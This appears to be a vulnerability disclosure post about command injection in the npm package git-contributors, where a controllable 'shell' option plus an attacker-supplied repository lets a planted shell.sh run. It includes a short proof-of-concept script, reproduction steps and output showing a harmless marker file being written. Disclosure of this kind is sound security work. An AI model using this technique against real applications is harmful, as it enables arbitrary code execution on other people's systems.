~ 3 min read
Command Injection vulnerability in `git-contributors` via unsanitized CLI arguments

The git-contributors project describes itself as a nodejs module providing contribution stats for your git repository. The following represents the security disclosure for a Command Injection vulnerability discovered in this package which is now publicly disclosed upon no success in reaching the maintainer for a fix or response: https://github.com/davidlinse/git-contributors.js/issues/22
Resources:
- Project’s GitHub source code: https://github.com/davidlinse/git-contributors.js
- Project’s npm package: https://www.npmjs.com/package/git-contributors
Background on the vulnerability
I’m reporting a Command Injection vulnerability in git-contributors npm package.
The process execution code for this library is found on lib/gitlog.js in line 26:
exec('git log --pretty="%an %ae"', opts, function (err, stdout) {While exec() is not a safe API, there is no user controlled input flowing into this command which is completely hard-coded.
However, the command injection vulnerability manifests with the library’s primary exported API: GitContributors.list(opts, function (err, result) {}.
If this API is used with an attack surface that allows users to control any aspect of the opts options object then a command injection vulnerability can happen. Ways for attackers to control the opts object include directly passing variables and values into it from another settings interface, or in cases which their options are merged with a default object.
When attackers control the opts object and are able to set the shell field to a value they control then they can effectively decide the shell binary to execute as part of the spawned command.
If attackers are then also able to control the git repository which is analyzed by this package, then they can plant an executable shell.sh file which they can specify, and this way run any commands.
Exploit
- Install
git-contributors@0.2.3or earlier - Clone the repository https://github.com/lirantal/chmod-755 to a directory such as
/tmp/chmod-755 - Create the following POC code (that can run anywhere the library is installed, unrelated to the repository cloned)
// var GitContributors = require('git-contributors').GitContributors;
var shellCommand = "./shell.sh";
opts = { cwd: "/tmp/chmod-755", markdown: false, shell: shellCommand };
GitContributors.list(opts, function (err, result) { if (err) { throw err; } console.log(JSON.stringify(result, null, 2));});- Observe new file created on disk at
/tmp/chmod-755/.audit.log
This new .audit.log file is created due to the /tmp/chmod-755/shell.sh file as part of the repository in which this library executed.
The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.
@lirantal âžś /workspaces/git-contributors.js (master) $ node app.js{ timeout: 5000, cwd: '/tmp/chmod-755', maxBuffer: 25600000, markdown: false, json: null}[ { "commits": 2, "name": "Liran Tal", "email": "liran.tal@gmail.com", "percent": 100 }]
@lirantal âžś /workspaces/git-contributors.js (master) $ cat /tmp/chmod-755/.audit.log-c git log --pretty="%an %ae"